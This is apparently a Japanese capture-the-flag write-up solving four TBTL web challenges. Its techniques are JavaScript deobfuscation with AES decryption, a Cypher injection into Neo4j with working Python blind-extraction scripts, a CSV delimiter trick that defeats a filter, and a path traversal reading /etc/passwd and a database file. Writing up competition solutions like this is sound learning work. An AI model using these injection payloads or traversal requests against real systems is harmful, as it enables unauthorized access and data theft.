https://ctftime.org/event/2324
[Web] Butterfly
ソースコード無し。アクセスしてみると難読化されたjavascriptが含まれていた。https://obf-io.deobfuscate.io/ に入れてみると比較的読める形になる。IndexedDBが使われていたので、公式ドキュメントを見ながら、見やすいように変名して、重要そうな所を抜粋すると以下のようになる。
indexedDB.deleteDatabase("strangeStorage"); var request = indexedDB.open("strangeStorage", 1); request.onupgradeneeded = function (event) { var db = event.target.result; var objectStore = db.createObjectStore("FLAG", { "keyPath": 'id', "autoIncrement": true }); objectStore.createIndex("letter", "letter", { unique: false }); }; request.onsuccess = function (event) { var db = event.target.result; var transaction = db.transaction(["FLAG"], "readwrite"); var objectStore = transaction.objectStore("FLAG"); enc = ["UW=(X4s}@(BFLzW1(2}vGpzzgQNy;&L4H??)(5Q+40sB|^/s2bRfBst-x[ELa|VNS)uoYsX3P]`Fx36ClT_HA?rl", [... redacted ...] , '>aA/`=:_6ZhJm)eN;h;L>+~Q^6@RJUtR+H^]Q0kbsMd3c.Sk8{n,J>Hb*bOHnaJ2AdBFnA`MK[v5itlMJw-h|G/=']; for (const line in enc) { var val = enc[line][line].charCodeAt(); var dec = (val * val + 3 * val + 1 - (val + 1) * (val + 1)) * (2 * (line + 1) / (line + 1)) >> 1; objectStore.add({ 'letter': String.fromCharCode(dec) }); } }; code = atob("Q3J5cHRvSlMuQUVTLmRlY3J5cHQoQ0lQSEVSVEVYVCwgS0VZKS50b1N0cmluZyhDcnlwdG9KUy5lbmMuVXRmOCk="); localStorage.setItem("execute", JSON.stringify({ "code": code })); sessionStorage.setItem("KEY", atob("c2VjcmV0IGtleSBpcyB2ZXJ5IHNlY3VyZQ=="));
IndexedDBに入れられているものをまず取り出してみると何かのエンコード物のようなものが手に入る。次に、code部分をbase64デコードすると以下のようなスクリプトだった。
CryptoJS.AES.decrypt(CIPHERTEXT, KEY).toString(CryptoJS.enc.Utf8)
AESでKEYを使って復元してやればよさそう。以下のようにコードを作り実行すると、フラグが得られる。
enc = ["UW=(X4s}@(BFLzW1(2}vGpzzgQNy;&L4H??)(5Q+40sB|^/s2bRfBst-x[ELa|VNS)uoYsX3P]`Fx36ClT_HA?rl", [... redacted ...] ,'>aA/`=:_6ZhJm)eN;h;L>+~Q^6@RJUtR+H^]Q0kbsMd3c.Sk8{n,J>Hb*bOHnaJ2AdBFnA`MK[v5itlMJw-h|G/=']; flag = ""; for (const line in enc) { var val = enc[line][line].charCodeAt(); var dec = (val * val + 3 * val + 1 - (val + 1) * (val + 1)) * (2 * (line + 1) / (line + 1)) >> 1; flag += String.fromCharCode(dec); } var CryptoJS = require("crypto-js"); // npm install crypto-js CIPHERTEXT = flag; KEY = atob("c2VjcmV0IGtleSBpcyB2ZXJ5IHNlY3VyZQ=="); dec = CryptoJS.AES.decrypt(CIPHERTEXT, KEY).toString(CryptoJS.enc.Utf8); console.log(dec);
[Web] Mexico City Tour
ソースコード有り。DBとしてneo4jが動いており、以下のようにcipherのクエリが作られている。ただ埋め込まれているのでインジェクション可能。Cipher Injectionしよう。
distance_query = f'MATCH (n {{id: {start}}})-[p *bfs]-(m {{id: {end}}}) RETURN size(p) AS distance;'
ということで162
をstartStationにして、145}) RETURN 1337 AS distance; //
をendに入れてみると1337が出てきた。うまくいっていますね。結果は数値でしか取得できないので、(文字を数値に変換して抜けそうではあるが…)ブラインドで使えそうなクエリを探していこう。
145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) where a.title = '' or 3 <= size(keys(a)) return 1 AS distance; // -> 1 145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) where a.title = '' or 4 <= size(keys(a)) return 1 AS distance; // -> unknown
いろいろみながら試すとこのような感じでブラインドで抜き取りできそうな式ができた。これを使って、以下のようにカラムを抜いてみる。
import requests import time BASE = 'http://ctf.dev.tbtl.io:8001/' DIC = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}_' def test(payload): t = requests.post(BASE + 'search', data={'startStation':'162','endStation':payload}).text time.sleep(1) return 'unknown' not in t # Find the size of columns ok = 0 ng = 256 while ok + 1 != ng: md = (ok + ng) // 2 if test("145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) where " + str(md) + " <= size(keys(a)) return 1 AS distance; //"): ok = md else: ng = md size_of_columns = ok print(f"The size of columns is {size_of_columns}") # Find the column for i in range(size_of_columns): ok = 0 ng = 256 while ok + 1 != ng: md = (ok + ng) // 2 if test("145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) where " + str(md) + " <= size(keys(a)[" + str(i) + "]) return 1 AS distance; //"): ok = md else: ng = md length = ok print(f"The length of column {i} is {length}") key = '' for j in range(length): for c in DIC: if test("145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) where substring(keys(a)[" + str(i) + "],"+ str(j) + ",1)='" + c + "' return 1 AS distance; //"): key += c print(key) break
実行すると…
$ python3 solver.py The size of columns is 3 The length of column 0 is 2 i id The length of column 1 is 4 n na nam name The length of column 2 is 4 f fl fla flag
flagカラムがあるようです。試しに145}) WHERE 1=0 RETURN -1 AS distance UNION MATCH (b) WHERE 0 < size(b.flag) RETURN b.id AS distance; //
とすると-1
が帰ってきました。かなりそれっぽい。145}) WHERE 1=0 RETURN -1 AS distance UNION MATCH (b) WHERE b.id = -1 RETURN size(b.flag) AS distance; //
とすると30と出てきたので30文字のようです。同様にブラインドで持ってきましょう。以下のスクリプトでフラグが得られる。
import requests import time BASE = 'http://[redacted]/' DIC = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_' def test(payload): t = requests.post(BASE + 'search', data={'startStation':'162','endStation':payload}).text time.sleep(1) return 'unknown' not in t flag = 'TBTL{wh3R3_15_mY_' for i in range(len(flag), 30): for c in DIC: print(f"testing... {flag}{c}") if test("145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) WHERE a.id = -1 AND substring(a.flag,"+ str(i) + ",1)='" + c + "' return 1 AS distance; //"): flag += c print(f"found!!!!!!!!!! {flag}") break
[Web] Rnd For Data Science
ソースコード有り。以下のような構成になっている。
┌────────┐ ┌──────────────────┐ ──────►│ ├──►│ │ │ app.py │ │ generator_app.py │ ◄──────┤ │◄──┤ │ └────────┘ └──────────────────┘
まず、generator_app.pyは以下。
@app.route("/", methods=['POST']) def index(): delimiter = request.form['delimiter'] if len(delimiter) > 1: return 'ERROR' num_columns = int(request.form['numColumns']) if num_columns > 10: return 'ERROR' headers = ['id'] + [request.form["columnName" + str(i)] for i in range(num_columns)] forb_list = ['and', 'or', 'not'] for header in headers: if len(header) > 120: return 'ERROR' for c in '\'"!@': if c in header: return 'ERROR' for forb_word in forb_list: if forb_word in header: return 'ERROR' csv_file = delimiter.join(headers) for i in range(10): row = [str(i)] + [str(rnd.randint(0, 100)) for _ in range(num_columns)] csv_file += '\n' + delimiter.join(row) row = [str('NaN')] + ['FLAG'] + [flag] + [str(0) for _ in range(num_columns)] csv_file += '\n' + delimiter.join(row[:len(headers)]) return csv_file
適当にデータを作り、末尾にFLAGを追加している。numColumns=2&columnName0=a&columnName1=b&delimiter=%2C
というリクエストを送ると、以下のように帰ってくる。
id,a,b 0.0,61,32 1.0,99,5 2.0,40,83 3.0,94,58 4.0,23,54 5.0,64,56 6.0,36,32 7.0,51,30 8.0,94,77 9.0,71,78 NaN,FLAG,フラグ
しかし、app.py側で以下のようにフラグを削除している。
# Filter out secrets first = list(df.columns.values)[1] df = df.query(f'{first} != "FLAG"')
2行目がFLAGのものを見つけてきているので、delimiterを_
とかにして1行に全部入れ込む方法を考えてみよう。つまり、numColumns=2&columnName0=a&columnName1=b&delimiter=_
としてみる。すると500応答が帰ってきた。これは上記のフィルタリング処理で[1]
と指定しているため添え字エラーになるため。
なので、,
は入れてやる必要がありそうだが…と考えると、最初のカラム名に,
を含めればいい感じになるのでは?ということで以下のようにしてやるとフィルタリング回避できた。
POST /generate HTTP/1.1 Host: tbtl-rnd-for-data-science.chals.io Content-Length: 54 Content-Type: application/x-www-form-urlencoded Connection: close numColumns=2&columnName0=,a&columnName1=,b&delimiter=_ HTTP/1.1 200 OK Server: Werkzeug/3.0.2 Python/3.8.17 Date: Sat, 11 May 2024 02:25:59 GMT Content-Disposition: inline; filename=data.csv Content-Type: text/csv; charset=utf-8 Content-Length: 182 Cache-Control: no-cache Connection: close "id_"_"a_"_b "0_100_9"__ "1_21_54"__ "2_71_31"__ "3_33_60"__ "4_9_80"__ "5_44_18"__ "6_64_59"__ "7_11_79"__ "8_53_3"__ "9_71_53"__ "NaN_FLAG_TBTL{■■■■■■■■■■■■■■■■■■■}"__
カラム部分が["id",",a",",b"]
が_
で結合されて、id_,a_,b
となるため、良い感じにカラム数を演出できる。
[Web] Talk To You
ソースコード無し。サイトを巡回するとGET /?page=offer.html
という通信が発生していた。LFIというかパストラバーサルっぽい。
とりあえずGET /?page=../etc/passwd
してみるといつものが得られた。色々guessするとGET /?page=../flag.txt
で以下のように応答がある。
Flag is in SQLite3: database.sqlite
ということでGET /?page=database.sqlite
すると文字化けするが中身が見られてフラグが得られる。